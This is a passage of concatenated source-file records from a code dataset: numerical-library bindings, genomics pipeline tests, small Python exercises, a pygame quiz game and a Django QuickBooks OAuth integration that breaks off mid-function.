numpy.float:\n a, bl, bu, cvec, h, x, objf\n \"\"\"\n from nag4py.util import nag_double_type_check_and_cast\n _a = nag_double_type_check_and_cast('h02bbc', a, 'a')\n _bl = nag_double_type_check_and_cast('h02bbc', bl, 'bl')\n _bu = nag_double_type_check_and_cast('h02bbc', bu, 'bu')\n _cvec = nag_double_type_check_and_cast('h02bbc', cvec, 'cvec')\n _h = nag_double_type_check_and_cast('h02bbc', h, 'h')\n _x = nag_double_type_check_and_cast('h02bbc', x, 'x')\n _objf = nag_double_type_check_and_cast('h02bbc', objf, 'objf')\n h02bbc_ctypes(n, m, _a, tda, _bl, _bu, intvar, _cvec, _h, tdh, qphess, _x, _objf, options, comm, fail)\n\n\nh02buc_ctypes = _libraries['CL23'].h02buc\nh02buc_ctypes.restype = None\nh02buc_ctypes.argtypes = [STRING, Nag_Boolean, POINTER(Integer), POINTER(Integer), POINTER(POINTER(c_double)), POINTER(POINTER(c_double)), POINTER(POINTER(c_double)), POINTER(POINTER(Nag_Boolean)), POINTER(POINTER(c_double)), POINTER(POINTER(c_double)), POINTER(Nag_H02_Opt), POINTER(NagError)]\n\ndef h02buc(mpsfile, minimize, n, m, a, bl, bu, intvar, cvec, x, options, fail):\n \"\"\"\n Read MPSX data for IP, LP or QP problem from a file.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02buc.html\n\n TypeError will be raised when the following arguments are not instances\n of numpy.ndarray:\n n, m, a, bl, bu, cvec, x\n TypeError will be raised when the following arguments are not of data type\n numpy.float:\n a, bl, bu, cvec, x\n TypeError will be raised when the following arguments are not of data type\n numpy.int32 or numpy.int64:\n n, m\n \"\"\"\n from nag4py.util import nag_double_type_check_and_cast\n from nag4py.util import nag_integer_type_check_and_cast\n _n = nag_integer_type_check_and_cast('h02buc', n, 'n')\n _m = nag_integer_type_check_and_cast('h02buc', m, 'm')\n _a = nag_double_type_check_and_cast('h02buc', a, 'a')\n _bl = nag_double_type_check_and_cast('h02buc', bl, 'bl')\n _bu = nag_double_type_check_and_cast('h02buc', bu, 'bu')\n _cvec = nag_double_type_check_and_cast('h02buc', cvec, 'cvec')\n _x = nag_double_type_check_and_cast('h02buc', x, 'x')\n h02buc_ctypes(mpsfile, minimize, _n, _m, _a, _bl, _bu, intvar, _cvec, _x, options, fail)\n\n\nh02bvc_ctypes = _libraries['CL23'].h02bvc\nh02bvc_ctypes.restype = None\nh02bvc_ctypes.argtypes = [POINTER(POINTER(c_double)), POINTER(POINTER(c_double)), POINTER(POINTER(c_double)), POINTER(POINTER(Nag_Boolean)), POINTER(POINTER(c_double)), POINTER(POINTER(c_double))]\n\ndef h02bvc(a, bl, bu, intvar, cvec, x):\n \"\"\"\n Free memory allocated by h02buc.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02bvc.html\n\n TypeError will be raised when the following arguments are not instances\n of numpy.ndarray:\n a, bl, bu, cvec, x\n TypeError will be raised when the following arguments are not of data type\n numpy.float:\n a, bl, bu, cvec, x\n \"\"\"\n from nag4py.util import nag_double_type_check_and_cast\n _a = nag_double_type_check_and_cast('h02bvc', a, 'a')\n _bl = nag_double_type_check_and_cast('h02bvc', bl, 'bl')\n _bu = nag_double_type_check_and_cast('h02bvc', bu, 'bu')\n _cvec = nag_double_type_check_and_cast('h02bvc', cvec, 'cvec')\n _x = nag_double_type_check_and_cast('h02bvc', x, 'x')\n h02bvc_ctypes(_a, _bl, _bu, intvar, _cvec, _x)\n\n\nh02xxc_ctypes = _libraries['CL23'].h02xxc\nh02xxc_ctypes.restype = None\nh02xxc_ctypes.argtypes = [POINTER(Nag_H02_Opt)]\n\ndef h02xxc(options):\n \"\"\"\n Initialize option structure to null values.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02xxc.html\n \"\"\"\n h02xxc_ctypes(options)\n\n\nh02xyc_ctypes = _libraries['CL23'].h02xyc\nh02xyc_ctypes.restype = None\nh02xyc_ctypes.argtypes = [STRING, STRING, POINTER(Nag_H02_Opt), Nag_Boolean, STRING, POINTER(NagError)]\n\ndef h02xyc(name, optfile, options, _print, outfile, fail):\n \"\"\"\n Read optional argument values from a file.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02xyc.html\n \"\"\"\n h02xyc_ctypes(name, optfile, options, _print, outfile, fail)\n\n\nh02xzc_ctypes = _libraries['CL23'].h02xzc\nh02xzc_ctypes.restype = None\nh02xzc_ctypes.argtypes = [POINTER(Nag_H02_Opt), STRING, POINTER(NagError)]\n\ndef h02xzc(options, pname, fail):\n \"\"\"\n Free NAG allocated memory from option structures.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02xzc.html\n \"\"\"\n h02xzc_ctypes(options, pname, fail)\n\n\nfrom ctypes import c_ulong\nsize_t = c_ulong\nnag_ip_bb = h02bbc\nnag_ip_mps_read = h02buc\nnag_ip_mps_free = h02bvc\nnag_ip_init = h02xxc\nnag_ip_read = h02xyc\nnag_ip_free = h02xzc\n__all__ = ['h02bbc', 'h02buc', 'h02bvc', 'h02xxc', 'h02xyc', 'h02xzc',\n 'nag_ip_bb', 'nag_ip_free', 'nag_ip_init',\n 'nag_ip_mps_free', 'nag_ip_mps_read', 'nag_ip_read']\n","sub_path":"naglib/base/h02.py","file_name":"h02.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"231608754","text":"import unittest\nfrom unittest.mock import patch\n\nimport hail as hl\n\nfrom seqr_loading import SeqrVCFToMTTask, SeqrValidationError\nfrom tests.data.sample_vep import VEP_DATA, DERIVED_DATA\n\nTEST_DATA_MT_1KG = 'tests/data/1kg_30variants.vcf.bgz'\n\nclass TestSeqrLoadingTasks(unittest.TestCase):\n\n def _sample_type_stats_return_value(self, nc_match_count, nc_total_count, nc_match, c_match_count, c_total_count, c_match):\n return {\n 'noncoding': {'matched_count': nc_match_count, 'total_count': nc_total_count, 'match': nc_match},\n 'coding': {'matched_count': c_match_count, 'total_count': c_total_count, 'match': c_match}\n }\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_match_none(self, mock_sample_type_stats):\n # Matched none should fail.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, False, 0, 0, False)\n self.assertRaises(SeqrValidationError, SeqrVCFToMTTask.validate_mt, None, '37', None)\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_match_both(self, mock_sample_type_stats):\n # Proper WGS, should pass.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, True, 0, 0, True)\n self.assertTrue(SeqrVCFToMTTask.validate_mt(None, '37', 'WGS'))\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_match_coding_only(self, mock_sample_type_stats):\n # Proper WES, should pass.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, False, 0, 0, True)\n self.assertTrue(SeqrVCFToMTTask.validate_mt(None, '37', 'WES'))\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_match_noncoding_only(self, mock_sample_type_stats):\n # We never use non coding only.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, True, 0, 0, False)\n self.assertRaises(SeqrValidationError, SeqrVCFToMTTask.validate_mt, None, '37', None)\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_wes_mismatch(self, mock_sample_type_stats):\n # Supposed to be WES but we report as WGS.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, False, 0, 0, True)\n self.assertRaises(SeqrValidationError, SeqrVCFToMTTask.validate_mt, None, '37', 'WGS')\n\n @patch('lib.hail_tasks.HailMatrixTableTask.sample_type_stats')\n def test_seqr_loading_validate_wgs_mismatch(self, mock_sample_type_stats):\n # Supposed to be WGS but we report as WES.\n mock_sample_type_stats.return_value = self._sample_type_stats_return_value(0, 0, True, 0, 0, True)\n self.assertRaises(SeqrValidationError, SeqrVCFToMTTask.validate_mt, None, '37', 'WES')\n\n def test_derive_fields(self):\n rsid = 'rs35471880'\n\n mt = hl.import_vcf(TEST_DATA_MT_1KG)\n mt = hl.split_multi(mt.filter_rows(mt.rsid == rsid))\n mt = mt.annotate_rows(**VEP_DATA[rsid])\n mt = SeqrVCFToMTTask.derive_fields(mt, 'VARIANTS')\n\n obj = mt.rows().collect()[0]\n\n # Cannot do a nested compare because of nested hail objects, so do one by one.\n fields = ['AC', 'AF', 'AN', 'codingGeneIds', 'docId', 'domains', 'end', 'geneIds', 'ref', 'alt', 'start',\n 'variantId', 'transcriptIds', 'xpos', 'xstart', 'xstop', 'contig']\n for field in fields:\n self.assertEqual(obj[field], DERIVED_DATA[rsid][field])\n\n self.assertEqual(obj['mainTranscript']['transcript_id'], DERIVED_DATA[rsid]['mainTranscript']['transcript_id'])\n","sub_path":"hail-elasticsearch-pipelines/luigi_pipeline/tests/test_seqr_loading_tasks.py","file_name":"test_seqr_loading_tasks.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"514157326","text":"\n\nfrom xai.brain.wordbase.nouns._tussle import _TUSSLE\n\n#calss header\nclass _TUSSLED(_TUSSLE, ):\n\tdef __init__(self,): \n\t\t_TUSSLE.__init__(self)\n\t\tself.name = \"TUSSLED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"tussle\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_tussled.py","file_name":"_tussled.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"264456303","text":"\nimport sys\nimport os\nfrom subprocess import Popen, PIPE, run\nimport json\n\nfrom .logger import Logger\n\nlog = Logger(os.getpid())\n\n#\n# findfile_with_suffix() execs out to Go based findfile command\n#\ndef findfile_with_suffix(d_name, suffix):\n cmd = ['findfile', '-s', suffix, d_name] \n p = Popen(cmd, stdout=PIPE, stderr=PIPE)\n (out, err) = p.communicate()\n if err.decode('utf-8') != '':\n log.fatal(f\"ERROR: Can't run '{' '.join(cmd)}', {err}\")\n return sorted(set(out.decode('utf-8').strip().split('\\n')))\n\n#\n# finddir_with_depth(d_name, depth)\n#\ndef finddir_with_depth(d_name, depth):\n cmd = ['finddir', '-depth', f\"{depth}\", d_name]\n p = Popen(cmd, stdout=PIPE, stderr=PIPE)\n (out, err) = p.communicate()\n if err.decode('utf-8') != '':\n log.fatal(f\"ERROR: Can't run {' '.join(cmd)}, {err}\")\n return sorted(set(out.decode('utf-8').split('\\n')))\n\n#\n# find_filename wraps the OS level unix find command with -name option\n#\ndef find_filename(d_name, f_name):\n p = Popen(['find', d_name, '-name', f_name], stdout=PIPE, stderr=PIPE)\n (out, err) = p.communicate()\n if err.decode('utf-8') != '':\n log.fatal(f'ERROR: find {d_name} -name {f_name}, {err}')\n return sorted(set(out.decode('utf-8').strip().split('\\n')))\n\n\n#\n# jsonmunge wraps the datatools jsonmunge command\n#\ndef jsonmunge(i_name, o_name, templates = []):\n cmd = ['jsonmunge', '-i', i_name, '-o', o_name]\n for tmpl in templates:\n cmd.append(tmpl)\n run(cmd)\n\n\n","sub_path":"feeds/datatools.py","file_name":"datatools.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"204983731","text":"import couchdb\n\n\nserver = couchdb.Server('http://admin:admin@localhost:5984')\ndb = server['patient_rec']\n\nresults = db.view('allDoc/allDoc_View',keys=['1234'])\nfor row in results:\n dic = row.value\n print(dic)\n print(dic['Target_Distance'])\n","sub_path":"Flask_backend/couchDBTest.py","file_name":"couchDBTest.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"93231592","text":"#사용자가 done을 입력할 때까지 반복적으로 사용자에게 정수를 묻는 프로그램#\n#유효한 값이 아니면 적절한 메시지 출력\n#일단 done이 입력되기 전까지 입력은 받아야 함! 따라서\n#while로 조건충족하는 반복문을 돌려야 하고,\n#그 안에서 세부 사항들을 모두 충족하는 지를 따져봐야 효율적!\n#반복문 밖에서 입력을 받으면 입력은 한번만 받는것!\nsmallest=None\nbiggest=None\nerror=0\nwhile True:\n user=input('Enter a number:')\n\n if user=='done':\n \tbreak\n\n\n try:\n \tn_user=float(user)\n \terror=0\n except:\n \tprint('Invalid input')\n \terror=-1\n \tcontinue\n\n if smallest==None:\n \tsmallest=n_user\n\n if biggest==None:\n biggest=n_user\t\n\n #done이 아니라면\n if user!='done':\n \t#적절한 입력이라면\n \t#if error==0:\n \t\t#try-except에서 걸러냈으니 적절한 입력인지는 패스!(웬만하면 복잡도 줄이기)\n \t\t#min\n \t\tif n_userbiggest:\n \t\t biggest=n_user\t\n\nprint('Maximum is',int(biggest))\nprint('Minimum is',int(smallest)) \n","sub_path":"user_input_min_max_none_error.py","file_name":"user_input_min_max_none_error.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"90847086","text":"class Solution:\r\n def searchInsert(self, nums, target):\r\n if not nums:\r\n return 0\r\n if target > nums[-1]:\r\n return len(nums)\r\n if target <= nums[0]:\r\n return 0\r\n i = 0\r\n while i < len(nums):\r\n if nums[i] < target and nums[i+1] >= target:\r\n return i+1\r\n else:\r\n i += 1","sub_path":"35.搜索插入位置.py","file_name":"35.搜索插入位置.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"614089384","text":"# coding: utf-8\nimport time\nimport os\nimport pygame\nimport sys\nfrom pygame.locals import *\nfrom question import Question\npygame.init()\nclock = pygame.time.Clock()\n\n### Properties ###\nnamegame = \"TrilhEnem\"\nwidth = 1280\nheight = 720\nscreentype = 0\n#screentype = FULLSCREEN\n#sound_volume = 0.6\n#pygame.mixer.music.set_volume(sound_volume)\n\n###\nwidht_crop = 100\nheight_crop = 50\nx_crop = width - widht_crop\ny_crop = height - height_crop\n###\n\n### Global variables ###\nx_question = 20\ny_question = 20\nx_cursor = 5\nwidth_question = width - (2 * x_question)\nquestion = Question()\ncolor = (255, 255, 255)\nmainscreen = pygame.display.set_mode((width, height), screentype, 32)\ninit_time = 0\nplayer_time = 0\n###\n\n### Sounds ###\nwin_effect = pygame.mixer.Sound('../res/music/win.wav')\nfail_effect = pygame.mixer.Sound('../res/music/fail.wav')\n\ndef load_image_alpha(path):\n\timagem = pygame.image.load(path).convert_alpha()\n\treturn imagem\n\ndef load_image(path):\n\timagem = pygame.image.load(path).convert()\n\treturn imagem\n \ndef win_sound():\n win_effect.play()\n \ndef fail_sound():\n fail_effect.play()\n\n### Global Images ###\nbackground = load_image(\"../res/images/background-tiled.jpg\")\ncursor = load_image_alpha(\"../res/images/cursor_50.png\")\ncorrect = load_image_alpha(\"../res/images/correct.png\")\nincorrect = load_image_alpha(\"../res/images/incorrect.png\")\n###\n\ndef drawText(surface, text, rect, font, aa=False, bkg=None):\n rect = Rect(rect)\n y = rect.top\n lineSpacing = -2\n \n # get the height of the font\n fontHeight = font.size(\"Tg\")[1]\n \n while text:\n i = 1\n \n # determine if the row of text will be outside our area\n if y + fontHeight > rect.bottom:\n break\n \n # determine maximum width of line\n while font.size(text[:i])[0] < rect.width and i < len(text):\n i += 1\n \n # if we've wrapped the text, then adjust the wrap to the last word \n if i < len(text): \n i = text.rfind(\" \", 0, i) + 1\n \n # render the line and blit it to the surface\n if bkg:\n image = font.render(text[:i], 1, color, bkg)\n image.set_colorkey(bkg)\n else:\n image = font.render(text[:i], aa, color)\n \n surface.blit(image, (rect.left, y))\n y += fontHeight + lineSpacing\n \n # remove the text we just blitted\n text = text[i:]\n \n return text\n \ndef clean():\n\tmainscreen.blit(background, (0,0))\n\ndef draw_cursor(y_cursor):\n\tmainscreen.blit(cursor,(x_cursor, y_cursor[question.cursor]))\n\ndef write_answers(y_answer):\n\tspacing = y_question\t\n\tfont = pygame.font.SysFont(\"comicsansms\", 28)\n\t\n\ty_cursor = []\n\ty_cursor.append(y_answer)\n\t\n\tfor answer in question.get_answers():\n\t\tajusted = False\n\t\theight_question = 50\n\t\trect = (x_question, y_answer, width_question, height_question)\n\t\t\n\t\twhile not ajusted:\n\t\t\trest = drawText(mainscreen, answer, rect, font, False, None)\n\t\t\tif(rest != \"\"):\n\t\t\t\theight_question = height_question + spacing\n\t\t\t\trect = (x_question, y_answer, width_question, height_question)\n\t\t\telse:\n\t\t\t\ty_answer = y_answer + height_question\n\t\t\t\ty_cursor.append(y_answer)\n\t\t\t\tajusted = True\n\treturn y_cursor\n\ndef write_ask(y_ask):\n\theight_question = 50\n\trect = (x_question, y_ask, width_question, height_question)\t\n\tfont = pygame.font.SysFont(\"comicsansms\", 28)\n\t\n\tajusted = False\n\tspacing = y_question\n\t\n\twhile not ajusted:\n\t\trest = drawText(mainscreen, question.question, rect, font, False, None)\n\t\tif(rest != \"\"):\n\t\t\theight_question = height_question + spacing\n\t\t\trect = (x_question, y_ask, width_question, height_question)\n\t\telse:\n\t\t\tajusted = True\n\t\n\treturn y_ask + height_question\n\t\ndef write_reference(y_reference):\n\theight_question = 50\n\trect = (x_question, y_reference, width_question, height_question)\t\n\tfont = pygame.font.SysFont(\"comicsansms\", 14)\n\t\n\tajusted = False\n\tspacing = y_question\n\t\n\twhile not ajusted:\n\t\trest = drawText(mainscreen, question.reference, rect, font, False, None)\n\t\tif(rest != \"\"):\n\t\t\theight_question = height_question + spacing\n\t\t\trect = (x_question, y_reference, width_question, height_question)\n\t\telse:\n\t\t\tajusted = True\n\t\t\t\n\treturn y_reference + height_question\n \ndef write_text():\n\theight_question = 100\n\trect = (x_question, y_question, width_question, height_question)\n\tfont = pygame.font.SysFont(\"comicsansms\", 28)\n\t\n\tajusted = False\n\tspacing = y_question\n\t\n\twhile not ajusted:\n\t\trest = drawText(mainscreen, question.text, rect, font, False, None)\n\t\tif(rest != \"\"):\n\t\t\theight_question = height_question + spacing\n\t\t\trect = (x_question, y_question, width_question, height_question)\n\t\telse:\n\t\t\tajusted = True\n\t\t\t\n\treturn height_question + y_question\n\ndef write_question():\n clean()\n y_ask = write_text()\n y_answer = write_ask(y_ask)\n y_cursor = write_answers(y_answer)\n draw_cursor(y_cursor)\n draw_clock()\n pygame.display.flip()\n\t\ndef correct_answer():\n win_sound()\n correct_size = correct.get_rect().size\n x = (width/2) - (correct_size[0]/2)\n y = (height/2) - (correct_size[1]/2)\n\t\n mainscreen.blit(correct,(x, y))\n pygame.display.flip()\n pygame.time.wait(3000)\n\ndef incorrect_answer():\n fail_sound()\n incorrect_size = incorrect.get_rect().size\n x = (width/2) - (incorrect_size[0]/2)\n y = (height/2) - (incorrect_size[1]/2)\n\t\n mainscreen.blit(incorrect,(x, y))\n pygame.display.flip()\n pygame.time.wait(3000)\n \ndef draw_clock():\n clock_image = load_image_alpha(\"../res/images/clock.png\")\n mainscreen.blit(clock_image, (1130, 670))\n \n\ndef execute(player):\t\n global init_time\n global player_time\n \n question.load()\n write_question()\n\t\n player_time = player.time\n init_time = int(round(time.time()))\n\t\n info_ask = run() \n if(info_ask[0]):\n correct_answer()\n else:\n incorrect_answer()\n\t\n return info_ask\n \ndef format_time(seconds):\n minutes = (seconds / 60)\n rest = (seconds % 60)\n \n str_zero = \"0\"\n \n if(rest > 9):\n str_zero = \"\"\n \n if(rest > 60):\n rest *= 60\n \n return str(minutes) + \":\" + str_zero + str(rest)\n \ndef draw_time():\n global player_time\n \n crop_rect = (x_crop, y_crop, widht_crop, height_crop)\n cropped = background.subsurface(crop_rect)\n mainscreen.blit(cropped,(x_crop, y_crop))\n \n current_time = int(round(time.time()))\n question_time = current_time - init_time\n rest_time = player_time - question_time\n \n font = pygame.font.SysFont(\"comicsansms\", 28)\n drawText(mainscreen, format_time(rest_time), crop_rect, font, False, None)\n pygame.display.flip()\n \n return rest_time\n\ndef run():\n running = True\n player_time = 0\n \n while running:\n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit(0)\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n question.decrement_cursor()\n write_question()\n elif event.key == pygame.K_DOWN:\n question.increment_cursor()\n write_question()\n elif event.key == pygame.K_SPACE or event.key == pygame.K_RETURN:\n running = False\n player_time = draw_time()\n \n if(player_time == 0):\n running = False\n \n clock.tick(100)\n return (question.is_correct(), player_time)\n\n","sub_path":"src/ask.py","file_name":"ask.py","file_ext":"py","file_size_in_byte":7398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"505304127","text":"from django.http import HttpResponseBadRequest\nfrom django.shortcuts import redirect\nfrom requests import get\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\ntry:\n import urllib.parse as urlparse\n import urllib.parse as urllib\nexcept ImportError:\n from urlparse import urlparse\nfrom portalbackend import settings\nfrom django.utils import timezone\nfrom portalbackend.validator.errormapping import ErrorMessage\n\n\nimport os\nfrom celery import group\nimport datetime\nimport time\nfrom portalbackend.lendapi.v1.accounting.utils import Utils\nfrom portalbackend.lendapi.accounts.models import CompanyMeta\nfrom portalbackend.lendapi.v1.accounting import getDiscoveryDocument\nfrom portalbackend.lendapi.accounting.models import LoginInfo, AccountingOauth2, TrialBalance, CoA\nfrom portalbackend.lendapi.v1.accounting.serializers import CoASerializer\nfrom portalbackend.lendapi.v1.accounting.tasks import trial_balance_for_period\n\nfrom portalbackend.lendapi.accounts.utils import AccountsUtils\nfrom portalbackend.lendapi.accounting.utils import AccountingUtils\n\nclass QuickBooks(object):\n \"\"\"create task for company provided in state, set status to in progress\"\"\"\n\n def connect(self, request, company_id):\n \"\"\"\n Connects a company to quickbooks\n company must be included in the querystring /?company=\n :param company_id:\n :return: Redirect url of QuickBook\n \"\"\"\n try:\n if not getDiscoveryDocument:\n # todo: need to clarify this scenario occurs or not and handle correct redirct urls\n auth_cancel_url = settings.QBO_AUTH_CANCEL_URL\n return redirect(auth_cancel_url)\n url = getDiscoveryDocument.auth_endpoint\n\n configuration = Utils.get_access_keys(company_id)\n client_id = configuration.client_id\n\n params = {'scope': settings.ACCOUNTING_SCOPE, 'redirect_uri': settings.REDIRECT_URI,\n 'response_type': 'code', 'state': company_id, 'client_id': client_id}\n url += '?' + urllib.urlencode(params)\n LoginInfo.objects.create(company_id=company_id, status=LoginInfo.IN_PROGRESS, created=timezone.now())\n return redirect(url)\n except Exception as e:\n auth_cancel_url = settings.QBO_AUTH_CANCEL_URL\n Utils.send_company_misconfig(company_id, e)\n return redirect(auth_cancel_url + '/error')\n\n\n def auth_code_handler(self,request,pk=None):\n \"\"\"\n Handles the authentication Code from quickbooks redirect\n :param pk: Company ID\n :param request:\n :return:\n \"\"\"\n try:\n state = request.GET.get('state', None)\n error = request.GET.get('error', None)\n auth_cancel_url = settings.QBO_AUTH_CANCEL_URL\n print('############ auth code handler state ', state)\n\n if error == 'access_denied':\n print('############ auth code handerl access deined ', error)\n return redirect(auth_cancel_url)\n if state is None:\n return redirect(auth_cancel_url)\n\n auth_code = request.GET.get('code', None)\n print('############ auth code handerl code ', auth_code)\n if auth_code is None:\n return redirect(auth_cancel_url)\n\n company = AccountsUtils.get_company(state)\n bearer = Utils.get_bearer_token(auth_code)\n realmId = request.GET.get('realmId', None)\n AccountingUtils.updateAccountingSession(company, bearer.accessToken, bearer.refreshToken, realmId)\n qb_status = LoginInfo.objects.filter(company=company, status=LoginInfo.IN_PROGRESS,\n created__range=[timezone.now() - datetime.timedelta(minutes=10),\n timezone.now()]).first()\n qb_status.status = LoginInfo.COMPLETED\n\n # todo: change this env variable for production\n #qbo_auth_redirect_url = os.environ.get('QBO_AUTH_REDIRECT_URL')\n auth_redirect_url = settings.QBO_AUTH_REDIRECT_URL\n\n #auth_redirect_url = os.environ.get ('QBO_AUTH_REDIRECT_URL','http://ec2-52-207-28-114.compute-1.amazonaws.com/IX/coa-match/quickbooks')\n\n return redirect(auth_redirect_url)\n\n #return Utils.dispatch_success(request,\"successfully authenticated\")\n except Exception as e:\n # todo: need to clarify this scenario occurs or not and handle correct redirect urls\n auth_cancel_url = settings.QBO_AUTH_CANCEL_URL\n Utils.send_company_misconfig(pk, e)\n return redirect(auth_cancel_url + '/error')\n # message = \"TOKEN_ALREADY_VALIDATED\"\n # return Utils.dispatch_success(request,message)\n\n def disconnect(self, pk, request):\n \"\"\"\n Disconnect the QuickBooks\n :param pk: Company ID\n :return: Response\n \"\"\"\n company = AccountsUtils.get_company(pk)\n\n credentials = AccountingUtils.get_credentials_by_company(company)\n try:\n revoke_response = Utils.revoke_token(credentials.accessToken)\n if \"Token is incorrect\" in revoke_response:\n return Utils.dispatch_failure(request, \"NO_TOKEN_AUTHENTICATION\")\n return Utils.dispatch_success(request, \"REVOKE_SUCCESSFULL\")\n\n except Exception as e:\n print(e)\n return Utils.dispatch_failure(request, \"NO_TOKEN_AUTHENTICATION\")\n\n def refresh(self, pk, request):\n \"\"\"\n Refresh the token\n :param pk: Company ID\n :return: Response\n \"\"\"\n try:\n company = AccountsUtils.get_company(pk)\n credentials = AccountingUtils.get_credentials_by_company(company)\n refresh_token = credentials.refreshToken\n\n if refresh_token is None:\n return Utils.dispatch_failure(request, 'NO_TOKEN_AUTHENTICATION')\n bearer = Utils.get_bearer_token_from_refresh_token(refresh_token)\n if bearer is \"failure\":\n return Utils.dispatch_failure(request,\"NO_TOKEN_AUTHENTICATION\")\n if isinstance(bearer, str):\n return Utils.dispatch_success(request, bearer)\n else:\n\n token_info = AccountingOauth2.objects.filter(company=company).first()\n AccountingUtils.updateAccountingSession(company, bearer.accessToken,\n bearer.refreshToken, token_info.realmId)\n return Utils.dispatch_success(request, \"CREDENTIALS_UPDATED\")\n except Exception as e:\n return Utils.dispatch_failure(request, 'NO_TOKEN_AUTHENTICATION')\n\n def trail_balance(self,pk, request):\n \"\"\"\n Get the trail balance profile from Quick Books\n :param pk: company: Company ID\n :return: Response of trail balance\n \"\"\"\n try:\n meta = CompanyMeta.objects.filter(company_id=pk).first()\n\n if meta.monthly_reporting_current_period:\n st = time.time()\n\n # this will grab the trial balance for the companymeta.monthly_reporting_current_period\n # plus 23 more months worth of history.\n job = group(trial_balance_for_period.s(pk, i) for i in range(0, 23))\n result = job.apply_async()\n else:\n return Utils.dispatch_failure(request,'MISSING_MONTHLY_REPORTING_CURRENT_PERIOD')\n\n # note: this bit of code basically turns this into a synchronous call, this is intended behaviour for now\n # todo: phase 2 we need to add sockets for better communication with UI\n while not result.ready():\n continue\n\n print('##### CELERY get TB now takes {:.2f}s'.format(time.time() - st))\n return Utils.dispatch_success(request,'TRIAL_BALANCE_RECEIVED_SUCCESS')\n except Exception as e:\n return Utils.dispatch_failure (request,'INTERNAL_SERVER_ERROR')\n\n def save_trial_balance(company, response):\n \"\"\"\n Parses the quickbooks JSON Response of the trial balance\n follows the format provided here https://developer.intuit.com/docs/api/accounting/trial%20balance\n :param company:\n :param response:\n :return: trial_balances\n \"\"\"\n period = Utils.format_period(response[\"Header\"][\"EndPeriod\"])\n\n currency = response[\"Header\"][\"Currency\"]\n headers = [column[\"ColTitle\"] if column[\"ColTitle\"] != \"\" else column[\"ColType\"] for\n column in response[\"Columns\"][\"Column\"]]\n entries = []\n\n if response[\"Rows\"]:\n for row in response[\"Rows\"][\"Row\"]:\n d = {}\n\n if 'ColData' in row:\n\n for i in range(len(row[\"ColData\"])):\n d[headers[i]] = row[\"ColData\"][i][\"value\"]\n if i == 0:\n d['id'] = row[\"ColData\"][i][\"id\"]\n\n d['Debit'] = float(d[\"Debit\"]) if d[\"Debit\"] != \"\" else 0\n d['Credit'] = float(d[\"Credit\"]) if d[\"Credit\"] != \"\" else 0\n\n rows_affected = TrialBalance.objects.filter(company=company,\n period=period,\n gl_account_id=d[\"id\"]).update(debit=d[\"Debit\"],\n credit=d[\"Credit\"],\n gl_account_name=d[\"Account\"])\n if rows_affected == 0:\n entry = TrialBalance(company=company, gl_account_name=d[\"Account\"],\n debit=d[\"Debit\"], credit=d[\"Credit\"],\n period=period, currency=currency,\n gl_account_id=d[\"id\"])\n\n entries.append(entry)\n\n else:\n print(\"Dont process the row\")\n\n #TrialBalance.objects.bulk_create(entries)\n\n return entries\n\n def chart_of_accounts(self,company,request):\n \"\"\"\n Get the chart of account profile from Quick Books\n :param company: Company ID\n :return: Response\n \"\"\"\n try:\n company = AccountsUtils.get_company(company)\n cm = CompanyMeta.objects.filter(company_id=company).first()\n\n credentials = AccountingUtils.get_credentials_by_company(company)\n\n if not credentials:\n return Utils.dispatch_failure(request,\"NO_TOKEN_AUTHENTICATION\")\n\n chart_of_accounts_response, status_code = Utils.get_chart_of_accounts(credentials.accessToken,\n credentials.realmId)\n\n if status_code >= 400:\n print(\"First Failure\")\n bearer = Utils.get_bearer_token_from_refresh_token(credentials.refreshToken)\n\n if bearer is \"failure\":\n return Utils.dispatch_failure(request, \"NO_TOKEN_AUTHENTICATION\")\n\n new_credentials = AccountingUtils.updateAccountingSession(company, bearer.accessToken,\n bearer.refreshToken, credentials.realmId)\n\n chart_of_accounts_response, status_code = Utils.get_chart_of_accounts(new_credentials.accessToken,\n new_credentials.realmId)\n if status_code >= 400:\n return Utils.dispatch_failure(request,\"NO_TOKEN_AUTHENTICATION\")\n\n\n coas = QuickBooks.save_chart_of_accounts(company, 